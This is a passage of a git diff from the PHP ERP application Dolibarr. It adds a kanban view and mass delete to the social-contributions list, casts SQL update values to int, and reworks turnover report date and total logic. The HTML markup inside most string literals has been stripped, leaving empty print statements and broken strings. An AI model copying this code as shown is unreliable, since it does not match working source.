      '; - print '     '.length_accountg($cpt['account_number']); - print ' - '; - print $cpt['account_label']; + + if (isset($cpt['account_number'])) { + $labeldetail = '     '.length_accountg($cpt['account_number']).' - '.$cpt['account_label']; + } else { + $labeldetail = '-'; + } + + print ''; + print dol_escape_htmltag($labeldetail); print ''.price($resultNP).''.price($resultN).''.price($resultN).''.price($resultM).''.price($resultM).'
      '; print ''; if ($action == 'editmode') { - $form->form_modes_reglement($_SERVER['PHP_SELF'].'?id='.$object->id, $object->mode_reglement_id, 'mode_reglement_id'); + $form->form_modes_reglement($_SERVER['PHP_SELF'].'?id='.$object->id, $object->mode_reglement_id, 'mode_reglement_id', '', 1, 1); } else { $form->form_modes_reglement($_SERVER['PHP_SELF'].'?id='.$object->id, $object->mode_reglement_id, 'none'); } diff --git a/htdocs/compta/sociales/class/chargesociales.class.php b/htdocs/compta/sociales/class/chargesociales.class.php index 37b3540a0f5..34586a5468e 100644 --- a/htdocs/compta/sociales/class/chargesociales.class.php +++ b/htdocs/compta/sociales/class/chargesociales.class.php @@ -597,7 +597,7 @@ class ChargeSociales extends CommonObject $this->ref = $this->label; } - $label = img_picto('', 'tax').''.$langs->trans("SocialContribution").''; + $label = img_picto('', $this->picto, 'class="pictofixedwidth"').''.$langs->trans("SocialContribution").''; if (isset($this->paye)) { $label .= ' '.$this->getLibStatut(5); } @@ -749,4 +749,44 @@ class ChargeSociales extends CommonObject $this->type = 1; $this->type_label = 'Type of social contribution'; } + + /** + * Return clicable link of object (with eventually picto) + * + * @param string $option Where point the link (0=> main card, 1,2 => shipment, 'nolink'=>No link) + * @param array $arraydata Array of data + * @return string HTML Code for Kanban thumb. + */ + public function getKanbanView($option = '', $arraydata = null) + { + global $conf, $langs; + + $selected = (empty($arraydata['selected']) ? 0 : $arraydata['selected']); + + $return = '
      '; + $return .= '
      '; + $return .= ''; + $return .= img_picto('', $this->picto); + $return .= ''; + $return .= '
      '; + $return .= ''.(method_exists($this, 'getNomUrl') ? $this->getNomUrl(0) : $this->ref).''; + $return .= ''; + if (property_exists($this, 'label')) { + $return .= '  
      '.$this->label.'
      '; + } + if (property_exists($this, 'date_ech')) { + $return .= '
      '.$langs->trans("DateEnd").' : '.dol_print_date($this->date_ech, 'day').''; + } + if (property_exists($this, 'amount')) { + $return .= '
      '; + $return .= ''.price($this->amount, 0, $langs, 1, -1, -1, $conf->currency).''; + } + if (method_exists($this, 'LibStatut')) { + $return .= '
      '.$this->getLibStatut(3, $this->alreadypaid).'
      '; + } + $return .= '
      '; + $return .= '
      '; + $return .= '
      '; + return $return; + } } diff --git a/htdocs/compta/sociales/class/paymentsocialcontribution.class.php b/htdocs/compta/sociales/class/paymentsocialcontribution.class.php index 0bf402c6c21..73d101d7ae6 100644 --- a/htdocs/compta/sociales/class/paymentsocialcontribution.class.php +++ b/htdocs/compta/sociales/class/paymentsocialcontribution.class.php @@ -365,20 +365,17 @@ class PaymentSocialContribution extends CommonObject // Update request $sql = "UPDATE ".MAIN_DB_PREFIX."paiementcharge SET"; - - $sql .= " fk_charge=".(isset($this->fk_charge) ? $this->fk_charge : "null").","; + $sql .= " fk_charge=".(isset($this->fk_charge) ? ((int) $this->fk_charge) : "null").","; $sql .= " datec=".(dol_strlen($this->datec) != 0 ? "'".$this->db->idate($this->datec)."'" : 'null').","; $sql .= " tms=".(dol_strlen($this->tms) != 0 ? "'".$this->db->idate($this->tms)."'" : 'null').","; $sql .= " datep=".(dol_strlen($this->datep) != 0 ? "'".$this->db->idate($this->datep)."'" : 'null').","; - $sql .= " amount=".(isset($this->amount) ? $this->amount : "null").","; - $sql .= " fk_typepaiement=".(isset($this->fk_typepaiement) ? $this->fk_typepaiement : "null").","; + $sql .= " amount=".(isset($this->amount) ? price2num($this->amount) : "null").","; + $sql .= " fk_typepaiement=".(isset($this->fk_typepaiement) ? ((int) $this->fk_typepaiement) : "null").","; $sql .= " num_paiement=".(isset($this->num_payment) ? "'".$this->db->escape($this->num_payment)."'" : "null").","; $sql .= " note=".(isset($this->note) ? "'".$this->db->escape($this->note)."'" : "null").","; - $sql .= " fk_bank=".(isset($this->fk_bank) ? $this->fk_bank : "null").","; - $sql .= " fk_user_creat=".(isset($this->fk_user_creat) ? $this->fk_user_creat : "null").","; - $sql .= " fk_user_modif=".(isset($this->fk_user_modif) ? $this->fk_user_modif : "null").""; - - + $sql .= " fk_bank=".(isset($this->fk_bank) ? ((int) $this->fk_bank) : "null").","; + $sql .= " fk_user_creat=".(isset($this->fk_user_creat) ? ((int) $this->fk_user_creat) : "null").","; + $sql .= " fk_user_modif=".(isset($this->fk_user_modif) ? ((int) $this->fk_user_modif) : "null"); $sql .= " WHERE rowid=".((int) $this->id); $this->db->begin(); diff --git a/htdocs/compta/sociales/list.php b/htdocs/compta/sociales/list.php index 024984d98b6..ed92d834488 100644 --- a/htdocs/compta/sociales/list.php +++ b/htdocs/compta/sociales/list.php @@ -45,8 +45,11 @@ $langs->loadLangs(array('compta', 'banks', 'bills', 'hrm', 'projects')); $action = GETPOST('action', 'aZ09'); $massaction = GETPOST('massaction', 'alpha'); $confirm = GETPOST('confirm', 'alpha'); +$toselect = GETPOST('toselect', 'array'); // Array of ids of elements selected into a list $optioncss = GETPOST('optioncss', 'alpha'); $contextpage = GETPOST('contextpage', 'aZ') ? GETPOST('contextpage', 'aZ') : 'sclist'; +$mode = GETPOST('mode', 'alpha'); + $search_ref = GETPOST('search_ref', 'int'); $search_label = GETPOST('search_label', 'alpha'); @@ -124,6 +127,7 @@ if ($user->socid) { $socid = $user->socid; } $result = restrictedArea($user, 'tax', '', 'chargesociales', 'charges'); +$permissiontodelete = $user->rights->tax->charges->supprimer; /* @@ -168,7 +172,14 @@ if (empty($reshook)) { $search_type = ''; $search_account = ''; $search_array_options = array(); + $toselect = array(); } + + // Mass actions + $objectclass = 'ChargeSociales'; + $objectlabel = 'ChargeSociales'; + $uploaddir = $conf->tax->dir_output; + include DOL_DOCUMENT_ROOT.'/core/actions_massactions.inc.php'; } /* @@ -186,6 +197,8 @@ if (isModEnabled('project')) { llxHeader('', $langs->trans("SocialContributions")); +$arrayofselected = is_array($toselect) ? $toselect : array(); + $sql = "SELECT cs.rowid, cs.fk_type as type, cs.fk_user,"; $sql .= " cs.amount, cs.date_ech, cs.libelle as label, cs.paye, cs.periode, cs.fk_account,"; if (isModEnabled('project')) { @@ -194,6 +207,9 @@ if (isModEnabled('project')) { $sql .= " c.libelle as type_label, c.accountancy_code as type_accountancy_code,"; $sql .= " ba.label as blabel, ba.ref as bref, ba.number as bnumber, ba.account_number, ba.iban_prefix as iban, ba.bic, ba.currency_code, ba.clos,"; $sql .= " SUM(pc.amount) as alreadypayed, pay.code as payment_code"; + +$sqlfields = $sql; // $sql fields to remove for count total + $sql .= " FROM ".MAIN_DB_PREFIX."c_chargesociales as c,"; $sql .= " ".MAIN_DB_PREFIX."chargesociales as cs"; $sql .= " LEFT JOIN ".MAIN_DB_PREFIX."bank_account as ba ON (cs.fk_account = ba.rowid)"; @@ -251,14 +267,33 @@ $sql .= " GROUP BY cs.rowid, cs.fk_type, cs.fk_user, cs.amount, cs.date_ech, cs. if (isModEnabled('project')) { $sql .= ", p.rowid, p.ref, p.title"; } -$sql .= $db->order($sortfield, $sortorder); -$totalnboflines = 0; -$result = $db->query($sql); -if ($result) { - $totalnboflines = $db->num_rows($result); +// Count total nb of records +$nbtotalofrecords = ''; +if (empty($conf->global->MAIN_DISABLE_FULL_SCANLIST)) { + /* The fast and low memory method to get and count full list converts the sql into a sql count */ + $sqlforcount = preg_replace('/^'.preg_quote($sqlfields, '/').'/', 'SELECT COUNT(*) as nbtotalofrecords', $sql); + $sqlforcount = preg_replace('/GROUP BY .*$/', '', $sqlforcount); + $resql = $db->query($sqlforcount); + if ($resql) { + $objforcount = $db->fetch_object($resql); + $nbtotalofrecords = $objforcount->nbtotalofrecords; + } else { + dol_print_error($db); + } + + if (($page * $limit) > $nbtotalofrecords) { // if total resultset is smaller then paging size (filtering), goto and load page 0 + $page = 0; + $offset = 0; + } + $db->free($resql); +} + +// Complete request and execute it with limit +$sql .= $db->order($sortfield, $sortorder); +if ($limit) { + $sql .= $db->plimit($limit + 1, $offset); } -$sql .= $db->plimit($limit + 1, $offset); $resql = $db->query($sql); if (!$resql) { @@ -272,6 +307,9 @@ $num = $db->num_rows($resql); $i = 0; $param = ''; +if (!empty($mode)) { + $param .= '&mode='.urlencode($mode); +} if (!empty($contextpage) && $contextpage != $_SERVER["PHP_SELF"]) { $param .= '&contextpage='.urlencode($contextpage); } @@ -345,10 +383,21 @@ if ($search_date_limit_endyear) { } $newcardbutton = ''; +$newcardbutton .= dolGetButtonTitle($langs->trans('ViewList'), '', 'fa fa-bars imgforviewmode', $_SERVER["PHP_SELF"].'?mode=common'.preg_replace('/(&|\?)*mode=[^&]+/', '', $param), '', ((empty($mode) || $mode == 'common') ? 2 : 1), array('morecss'=>'reposition')); +$newcardbutton .= dolGetButtonTitle($langs->trans('ViewKanban'), '', 'fa fa-th-list imgforviewmode', $_SERVER["PHP_SELF"].'?mode=kanban'.preg_replace('/(&|\?)*mode=[^&]+/', '', $param), '', ($mode == 'kanban' ? 2 : 1), array('morecss'=>'reposition')); if ($user->rights->tax->charges->creer) { $newcardbutton .= dolGetButtonTitle($langs->trans('MenuNewSocialContribution'), '', 'fa fa-plus-circle', DOL_URL_ROOT.'/compta/sociales/card.php?action=create'); } + +// List of mass actions available +$arrayofmassactions = array(); +if (!empty($permissiontodelete)) { + $arrayofmassactions['predelete'] = img_picto('', 'delete', 'class="pictofixedwidth"').$langs->trans("Delete"); +} +$massactionbutton = $form->selectMassAction('', $arrayofmassactions); +$moreforfilter = ''; + print '
      '; if ($optioncss != '') { print ''; @@ -360,10 +409,12 @@ print ''; print ''; print ''; print ''; +print ''; + $center = ''; -print_barre_liste($langs->trans("SocialContributions"), $page, $_SERVER["PHP_SELF"], $param, $sortfield, $sortorder, $center, $num, $totalnboflines, 'bill', 0, $newcardbutton, '', $limit, 0, 0, 1); +print_barre_liste($langs->trans("SocialContributions"), $page, $_SERVER["PHP_SELF"], $param, $sortfield, $sortorder, $massactionbutton, $num, $nbtotalofrecords, 'bill', 0, $newcardbutton, '', $limit, 0, 0, 1); if (empty($mysoc->country_id) && empty($mysoc->country_code)) { print '
      '; @@ -377,20 +428,29 @@ if (empty($mysoc->country_id) && empty($mysoc->country_code)) { $db->close(); } -$moreforfilter = ''; -$massactionbutton = ''; $varpage = empty($contextpage) ? $_SERVER["PHP_SELF"] : $contextpage; -$selectedfields = $form->multiSelectArrayWithCheckbox('selectedfields', $arrayfields, $varpage); // This also change content of $arrayfields +$selectedfields = $form->multiSelectArrayWithCheckbox('selectedfields', $arrayfields, $varpage, getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')); // This also change content of $arrayfields if ($massactionbutton) { $selectedfields .= $form->showCheckAddButtons('checkforselect', 1); } +$objecttmp = new ChargeSociales($db); +$trackid = 'sc'.$object->id; +include DOL_DOCUMENT_ROOT.'/core/tpl/massactions_pre.tpl.php'; + print '
      '; print ''."\n"; print ''; +// Filter: Buttons +if (getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')) { + print ''; +} + // Filters: Line number (placeholder) if (!empty($conf->global->MAIN_VIEW_LINE_NUMBER_IN_LIST)) { print ''; } @@ -491,13 +551,20 @@ $reshook = $hookmanager->executeHooks('printFieldListOption', $parameters); // N print $hookmanager->resPrint; // Filter: Buttons -print ''; +if (!getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')) { + print ''; +} print ''; print ''; + +if (getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')) { + print_liste_field_titre($selectedfields, $_SERVER["PHP_SELF"], '', '', '', '', $sortfield, $sortorder, 'maxwidthsearch '); +} + if (!empty($conf->global->MAIN_VIEW_LINE_NUMBER_IN_LIST)) { print_liste_field_titre('#', $_SERVER['PHP_SELF'], '', '', $param, '', $sortfield, $sortorder); } @@ -540,176 +607,219 @@ $parameters = array('arrayfields'=>$arrayfields, 'param'=>$param, 'sortfield'=>$ $reshook = $hookmanager->executeHooks('printFieldListTitle', $parameters); // Note that $action and $object may have been modified by hook print $hookmanager->resPrint; -print_liste_field_titre($selectedfields, $_SERVER["PHP_SELF"], '', '', '', '', $sortfield, $sortorder, 'maxwidthsearch '); +if (!getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')) { + print_liste_field_titre($selectedfields, $_SERVER["PHP_SELF"], '', '', '', '', $sortfield, $sortorder, 'maxwidthsearch '); +} print ''; $i = 0; $totalarray = $TLoadedUsers = array(); $totalarray['nbfield'] = 0; $totalarray['val']['totalttcfield'] = 0; -while ($i < min($num, $limit)) { +$imaxinloop = ($limit ? min($num, $limit) : $num); +while ($i < $imaxinloop) { $obj = $db->fetch_object($resql); $chargesociale_static->id = $obj->rowid; $chargesociale_static->ref = $obj->rowid; $chargesociale_static->label = $obj->label; $chargesociale_static->type_label = $obj->type_label; + $chargesociale_static->amount = $obj->amount; + $chargesociale_static->paye = $obj->paye; + $chargesociale_static->date_ech = $obj->date_ech; + if (isModEnabled('project')) { $projectstatic->id = $obj->project_id; $projectstatic->ref = $obj->project_ref; $projectstatic->title = $obj->project_label; } - - print ''; - - // Line number - if (!empty($conf->global->MAIN_VIEW_LINE_NUMBER_IN_LIST)) { - print ''; - if (!$i) { - $totalarray['nbfield']++; + if ($mode == 'kanban') { + if ($i == 0) { + print ''; + } + } else { + print ''; - // Ref - if (!empty($arrayfields['cs.rowid']['checked'])) { - print ''; - if (!$i) { - $totalarray['nbfield']++; - } - } - // Label - if (!empty($arrayfields['cs.libelle']['checked'])) { - print ''; - if (!$i) { - $totalarray['nbfield']++; - } - } - - // Type - if (!empty($arrayfields['cs.fk_type']['checked'])) { - $typelabeltoshow = $obj->type_label; - $typelabelpopup = $obj->type_label; - if (isModEnabled('accounting')) { - $typelabelpopup .= ' - '.$langs->trans("AccountancyCode").': '.$obj->type_accountancy_code; - } - print ''; - if (!$i) { - $totalarray['nbfield']++; - } - } - - // Date - if (!empty($arrayfields['cs.date_ech']['checked'])) { - print ''; - if (!$i) { - $totalarray['nbfield']++; - } - } - - // Date end period - if (!empty($arrayfields['cs.periode']['checked'])) { - print ''; - if (!$i) { - $totalarray['nbfield']++; - } - } - - // Project ref - if (!empty($arrayfields['p.ref']['checked'])) { - print ''; - if (!$i) { - $totalarray['nbfield']++; - } - } - - if (!empty($arrayfields['cs.fk_user']['checked'])) { - // Employee - print ''; + } + + // Line number + if (!empty($conf->global->MAIN_VIEW_LINE_NUMBER_IN_LIST)) { + print ''; + if (!$i) { + $totalarray['nbfield']++; + } + } + + // Ref + if (!empty($arrayfields['cs.rowid']['checked'])) { + print ''; + if (!$i) { + $totalarray['nbfield']++; + } + } + + // Label + if (!empty($arrayfields['cs.libelle']['checked'])) { + print ''; + if (!$i) { + $totalarray['nbfield']++; + } + } + + // Type + if (!empty($arrayfields['cs.fk_type']['checked'])) { + $typelabeltoshow = $obj->type_label; + $typelabelpopup = $obj->type_label; + if (isModEnabled('accounting')) { + $typelabelpopup .= ' - '.$langs->trans("AccountancyCode").': '.$obj->type_accountancy_code; + } + print ''; + if (!$i) { + $totalarray['nbfield']++; + } + } + + // Date + if (!empty($arrayfields['cs.date_ech']['checked'])) { + print ''; + if (!$i) { + $totalarray['nbfield']++; + } + } + + // Date end period + if (!empty($arrayfields['cs.periode']['checked'])) { + print ''; + if (!$i) { + $totalarray['nbfield']++; + } + } + + // Project ref + if (!empty($arrayfields['p.ref']['checked'])) { + print ''; + if (!$i) { + $totalarray['nbfield']++; + } + } + + if (!empty($arrayfields['cs.fk_user']['checked'])) { + // Employee + print '\n"; + if (!$i) { + $totalarray['nbfield']++; + } + } + + // Type + if (!empty($arrayfields['cs.fk_mode_reglement']['checked'])) { + print ''; + if (!$i) { + $totalarray['nbfield']++; + } + } + + // Account + if (!empty($arrayfields['cs.fk_account']['checked'])) { + print ''; + if (!$i) $totalarray['nbfield']++; + } + + // Amount + if (!empty($arrayfields['cs.amount']['checked'])) { + print ''; + if (!$i) { + $totalarray['nbfield']++; + } + if (!$i) { + $totalarray['pos'][$totalarray['nbfield']] = 'totalttcfield'; + } + $totalarray['val']['totalttcfield'] += $obj->amount; + } + + // Status + if (!empty($arrayfields['cs.paye']['checked'])) { + print ''; + if (!$i) { + $totalarray['nbfield']++; + } + } + + // Action column + if (!getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')) { + print ''; } - print "\n"; if (!$i) { $totalarray['nbfield']++; } + + print ''."\n"; } - - // Type - if (!empty($arrayfields['cs.fk_mode_reglement']['checked'])) { - print ''; - if (!$i) { - $totalarray['nbfield']++; - } - } - - // Account - if (!empty($arrayfields['cs.fk_account']['checked'])) { - print ''; - if (!$i) $totalarray['nbfield']++; - } - - // Amount - if (!empty($arrayfields['cs.amount']['checked'])) { - print ''; - if (!$i) { - $totalarray['nbfield']++; - } - if (!$i) { - $totalarray['pos'][$totalarray['nbfield']] = 'totalttcfield'; - } - $totalarray['val']['totalttcfield'] += $obj->amount; - } - - // Status - if (!empty($arrayfields['cs.paye']['checked'])) { - print ''; - if (!$i) { - $totalarray['nbfield']++; - } - } - - // Buttons - print ''; - if (!$i) { - $totalarray['nbfield']++; - } - - print ''."\n"; - $i++; } diff --git a/htdocs/compta/sociales/payments.php b/htdocs/compta/sociales/payments.php index 95130dcf7f6..9956cf5153a 100644 --- a/htdocs/compta/sociales/payments.php +++ b/htdocs/compta/sociales/payments.php @@ -270,7 +270,7 @@ while ($i < min($num, $limit)) { $payment_sc_static->id = $obj->pid; $payment_sc_static->ref = $obj->pid; - $payment_sc_static->date = $db->jdate($obj->datep); + $payment_sc_static->datep = $db->jdate($obj->datep); $socialcontrib->id = $obj->rowid; $socialcontrib->ref = empty($obj->label_sc) ? $obj->type_label : $obj->label_sc; diff --git a/htdocs/compta/stats/byratecountry.php b/htdocs/compta/stats/byratecountry.php index fb8ad4de1a5..b9dd6c7429d 100644 --- a/htdocs/compta/stats/byratecountry.php +++ b/htdocs/compta/stats/byratecountry.php @@ -461,9 +461,9 @@ if ($modecompta == 'CREANCES-DETTES') { $j -= 12; } $monthj = 'month'.str_pad($j, 2, '0', STR_PAD_LEFT); - print ''; + print ''; } - print ''; + print ''; print ''; } else { print $db->lasterror(); // Show last sql error diff --git a/htdocs/compta/stats/cabyprodserv.php b/htdocs/compta/stats/cabyprodserv.php index dc0fa94030c..e747c4380a4 100644 --- a/htdocs/compta/stats/cabyprodserv.php +++ b/htdocs/compta/stats/cabyprodserv.php @@ -324,7 +324,7 @@ if ($modecompta == 'CREANCES-DETTES') { } if ($selected_cat === -2) { // Without any category $sql .= " AND cp.fk_product is null"; - } elseif ($selected_cat) { // Into a specific category + } elseif ($selected_cat > 0) { // Into a specific category if ($subcat) { $TListOfCats = $categorie->get_full_arbo('product', $selected_cat, 1); diff --git a/htdocs/compta/stats/cabyuser.php b/htdocs/compta/stats/cabyuser.php index b880420d4fc..22ed2fcd154 100644 --- a/htdocs/compta/stats/cabyuser.php +++ b/htdocs/compta/stats/cabyuser.php @@ -46,7 +46,7 @@ if (isModEnabled('comptabilite')) { if (isModEnabled('accounting')) { $result = restrictedArea($user, 'accounting', '', '', 'comptarapport'); } - +$hookmanager->initHooks(['cabyuserreportlist']); // Define modecompta ('CREANCES-DETTES' or 'RECETTES-DEPENSES') $modecompta = $conf->global->ACCOUNTING_MODE; if (GETPOST("modecompta")) { @@ -295,11 +295,13 @@ if ($result) { $num = $db->num_rows($result); $i = 0; while ($i < $num) { - $obj = $db->fetch_object($result); - $amount_ht[$obj->rowid] = $obj->amount; + $obj = $db->fetch_object($result); + + $amount_ht[$obj->rowid] = (empty($obj->amount) ? 0 : $obj->amount); $amount[$obj->rowid] = $obj->amount_ttc; $name[$obj->rowid] = $obj->name.' '.$obj->firstname; - $catotal_ht += $obj->amount; + + $catotal_ht += (empty($obj->amount) ? 0 : $obj->amount); $catotal += $obj->amount_ttc; $i++; } diff --git a/htdocs/compta/stats/casoc.php b/htdocs/compta/stats/casoc.php index 870cfbd56c6..b499ca17c71 100644 --- a/htdocs/compta/stats/casoc.php +++ b/htdocs/compta/stats/casoc.php @@ -360,19 +360,23 @@ if ($result) { $i = 0; while ($i < $num) { $obj = $db->fetch_object($result); - $amount_ht[$obj->socid] = $obj->amount; - $amount[$obj->socid] = $obj->amount_ttc; - $fullname = $obj->name; + + $amount_ht[$obj->socid] = (empty($obj->amount) ? 0 : $obj->amount); + $amount[$obj->socid] = $obj->amount_ttc; + $fullname = $obj->name; if (!empty($obj->name_alias)) { $fullname .= ' ('.$obj->name_alias.')'; } - $name[$obj->socid] = $fullname; - $address_zip[$obj->socid] = $obj->zip; - $address_town[$obj->socid] = $obj->town; - $address_pays[$obj->socid] = getCountry($obj->fk_pays); - $catotal_ht += $obj->amount; - $catotal += $obj->amount_ttc; - $i++; + $name[$obj->socid] = $fullname; + + $address_zip[$obj->socid] = $obj->zip; + $address_town[$obj->socid] = $obj->town; + $address_pays[$obj->socid] = getCountry($obj->fk_pays); + + $catotal_ht += (empty($obj->amount) ? 0 : $obj->amount); + $catotal += $obj->amount_ttc; + + $i++; } } else { dol_print_error($db); @@ -401,12 +405,20 @@ if ($modecompta == "RECETTES-DEPENSES") { $i = 0; while ($i < $num) { $obj = $db->fetch_object($result); - $amount[$obj->rowid] += $obj->amount_ttc; - $name[$obj->rowid] = $obj->name; - $address_zip[$obj->rowid] = $obj->zip; - $address_town[$obj->rowid] = $obj->town; - $address_pays[$obj->rowid] = getCountry($obj->fk_pays); + + if (empty($amount[$obj->socid])) { + $amount[$obj->socid] = $obj->amount_ttc; + } else { + $amount[$obj->socid] += $obj->amount_ttc; + } + + $name[$obj->socid] = $obj->name; + $address_zip[$obj->socid] = ''; + $address_town[$obj->socid] = ''; + $address_pays[$obj->socid] = 0; + $catotal += $obj->amount_ttc; + $i++; } } else { diff --git a/htdocs/compta/stats/index.php b/htdocs/compta/stats/index.php index 4d65c201ffd..f578e6a2ec9 100644 --- a/htdocs/compta/stats/index.php +++ b/htdocs/compta/stats/index.php @@ -50,28 +50,26 @@ if (empty($year)) { } else { $year_current = $year; $month_current = dol_print_date(dol_now(), "%m"); - $year_start = $year - ($nbofyear - 1); + $year_start = $year - $nbofyear + (getDolGlobalInt('SOCIETE_FISCAL_MONTH_START') > 1 ? 0 : 1); } -$date_start = dol_mktime(0, 0, 0, $date_startmonth, $date_startday, $date_startyear, 'tzserver'); -$date_end = dol_mktime(23, 59, 59, $date_endmonth, $date_endday, $date_endyear, 'tzserver'); +$date_start = dol_mktime(0, 0, 0, $date_startmonth, $date_startday, $date_startyear, 'tzserver'); // We use timezone of server so report is same from everywhere +$date_end = dol_mktime(23, 59, 59, $date_endmonth, $date_endday, $date_endyear, 'tzserver'); // We use timezone of server so report is same from everywhere // We define date_start and date_end if (empty($date_start) || empty($date_end)) { // We define date_start and date_end $q = GETPOST("q") ? GETPOST("q") : 0; if ($q == 0) { // We define date_start and date_end - $year_end = $year_start + ($nbofyear - 1); - $month_start = GETPOSTISSET("month") ? GETPOST("month", 'int') : ($conf->global->SOCIETE_FISCAL_MONTH_START ? $conf->global->SOCIETE_FISCAL_MONTH_START : 1); + $year_end = $year_start + $nbofyear - (getDolGlobalInt('SOCIETE_FISCAL_MONTH_START') > 1 ? 0 : 1); + $month_start = GETPOSTISSET("month") ? GETPOST("month", 'int') : getDolGlobalInt('SOCIETE_FISCAL_MONTH_START', 1); if (!GETPOST('month')) { - if (!GETPOST("year") && $month_start > $month_current) { + if (!$year && $month_start > $month_current) { $year_start--; $year_end--; } $month_end = $month_start - 1; if ($month_end < 1) { $month_end = 12; - } else { - $year_end++; } } else { $month_end = $month_start; @@ -97,9 +95,6 @@ if (empty($date_start) || empty($date_end)) { // We define date_start and date_e } } -$userid = GETPOST('userid', 'int'); -$socid = GETPOST('socid', 'int'); - $tmps = dol_getdate($date_start); $mothn_start = $tmps['mon']; $year_start = $tmps['year']; @@ -113,11 +108,14 @@ $modecompta = $conf->global->ACCOUNTING_MODE; if (isModEnabled('accounting')) { $modecompta = 'BOOKKEEPING'; } -if (GETPOST("modecompta")) { +if (GETPOST("modecompta", 'alpha')) { $modecompta = GETPOST("modecompta", 'alpha'); } +$userid = GETPOST('userid', 'int'); + // Security check +$socid = GETPOST('socid', 'int'); if ($user->socid > 0) { $socid = $user->socid; } @@ -147,18 +145,13 @@ llxHeader(); $form = new Form($db); -$exportlink=""; -$namelink=""; +$exportlink = ''; +$namelink = ''; +$builddate = dol_now(); + // Affiche en-tete du rapport if ($modecompta == "CREANCES-DETTES") { $name = $langs->trans("Turnover"); - $calcmode = $langs->trans("CalcModeDebt"); - //$calcmode.='
      ('.$langs->trans("SeeReportInInputOutputMode",'','').')'; - if (isModEnabled('accounting')) { - $calcmode .= '
      ('.$langs->trans("SeeReportInBookkeepingMode", '{link1}', '{link2}').')'; - $calcmode = str_replace('{link1}', '', $calcmode); - $calcmode = str_replace('{link2}', '', $calcmode); - } $periodlink = ($year_start ? "".img_previous()."".img_next()."" : ""); $description = $langs->trans("RulesCADue"); if (!empty($conf->global->FACTURE_DEPOSITS_ARE_JUST_PAYMENTS)) { @@ -166,30 +159,17 @@ if ($modecompta == "CREANCES-DETTES") { } else { $description .= $langs->trans("DepositsAreIncluded"); } - $builddate = dol_now(); //$exportlink=$langs->trans("NotYetAvailable"); } elseif ($modecompta == "RECETTES-DEPENSES") { $name = $langs->trans("TurnoverCollected"); - $calcmode = $langs->trans("CalcModeEngagement"); - //$calcmode .= '
      ('.$langs->trans("SeeReportInDueDebtMode",'','').')'; - //if (isModEnabled('accounting')) { - //$calcmode.='
      ('.$langs->trans("SeeReportInBookkeepingMode",'','').')'; - //} $periodlink = ($year_start ? "".img_previous()."".img_next()."" : ""); $description = $langs->trans("RulesCAIn"); $description .= $langs->trans("DepositsAreIncluded"); - $builddate = dol_now(); //$exportlink=$langs->trans("NotYetAvailable"); } elseif ($modecompta == "BOOKKEEPING") { $name = $langs->trans("Turnover"); - $calcmode = $langs->trans("CalcModeBookkeeping"); - $calcmode .= '
      ('.$langs->trans("SeeReportInDueDebtMode", '{link1}', '{link2}').')'; - $calcmode = str_replace('{link1}', '', $calcmode); - $calcmode = str_replace('{link2}', '', $calcmode); - //$calcmode.='
      ('.$langs->trans("SeeReportInInputOutputMode",'','').')'; $periodlink = ($year_start ? "".img_previous()."".img_next()."" : ""); $description = $langs->trans("RulesSalesTurnoverOfIncomeAccounts"); - $builddate = dol_now(); //$exportlink=$langs->trans("NotYetAvailable"); } $period = $form->selectDate($date_start, 'date_start', 0, 0, 0, '', 1, 0, 0, '', '', '', '', 1, '', '', 'tzserver'); @@ -200,6 +180,31 @@ $moreparam = array(); if (!empty($modecompta)) { $moreparam['modecompta'] = $modecompta; } + +// Define $calcmode line +$calcmode = ''; +if ($modecompta == "RECETTES-DEPENSES" || $modecompta == "BOOKKEEINGCOLLECTED") { + /*if (isModEnabled('accounting')) { + $calcmode .= ''; + $calcmode .= '
      '; + }*/ + $calcmode .= ''; +} else { + if (isModEnabled('accounting')) { + $calcmode .= ''; + $calcmode .= '
      '; + } + $calcmode .= ''; +} + report_header($name, $namelink, $period, $periodlink, $description, $builddate, $exportlink, $moreparam, $calcmode); if (isModEnabled('accounting') && $modecompta != 'BOOKKEEPING') { @@ -431,7 +436,7 @@ for ($mois = 1 + $nb_mois_decalage; $mois <= 12 + $nb_mois_decalage; $mois++) { // Value turnover of month print ''; print '-'; } - if (isset($cum[$caseprev]) && !$cum[$caseprev] && !$cum[$case]) { + if (isset($cum[$caseprev]) && empty($cum[$caseprev]) && empty($cum[$case])) { print '+0%'; } - if (!isset($cum[$caseprev]) && !$cum[$case]) { + if (!isset($cum[$caseprev]) && empty($cum[$case])) { print '-'; } } else { @@ -489,8 +494,16 @@ for ($mois = 1 + $nb_mois_decalage; $mois <= 12 + $nb_mois_decalage; $mois++) { } if ($annee < $year_end || ($annee == $year_end && $mois <= $month_end)) { - $total_ht[$annee] += ((!empty($cum_ht[$case])) ? $cum_ht[$case] : 0); - $total[$annee] += $cum[$case]; + if (empty($total_ht[$annee])) { + $total_ht[$annee] = (empty($cum_ht[$case]) ? 0 : $cum_ht[$case]); + } else { + $total_ht[$annee] += (empty($cum_ht[$case]) ? 0 : $cum_ht[$case]); + } + if (empty($total[$annee])) { + $total[$annee] = empty($cum[$case]) ? 0 : $cum[$case]; + } else { + $total[$annee] += empty($cum[$case]) ? 0 : $cum[$case]; + } } } @@ -569,7 +582,7 @@ for ($annee = $year_start; $annee <= $year_end; $annee++) { // Montant total HT if ($total_ht[$annee] || ($annee >= $minyear && $annee <= max($nowyear, $maxyear))) { print '"; } else { print ''; @@ -577,9 +590,9 @@ for ($annee = $year_start; $annee <= $year_end; $annee++) { } // Total amount - if ($total[$annee] || ($annee >= $minyear && $annee <= max($nowyear, $maxyear))) { + if (!empty($total[$annee]) || ($annee >= $minyear && $annee <= max($nowyear, $maxyear))) { print '"; } else { print ''; @@ -587,24 +600,24 @@ for ($annee = $year_start; $annee <= $year_end; $annee++) { // Pourcentage total if ($annee > $minyear && $annee <= max($nowyear, $maxyear)) { - if ($total[$annee - 1] && $total[$annee]) { + if (!empty($total[$annee - 1]) && !empty($total[$annee])) { $percent = (round(($total[$annee] - $total[$annee - 1]) / $total[$annee - 1], 4) * 100); print ''; } - if ($total[$annee - 1] && !$total[$annee]) { + if (!empty($total[$annee - 1]) && empty($total[$annee])) { print ''; } - if (!$total[$annee - 1] && $total[$annee]) { + if (empty($total[$annee - 1]) && !empty($total[$annee])) { print ''; } - if (!$total[$annee - 1] && 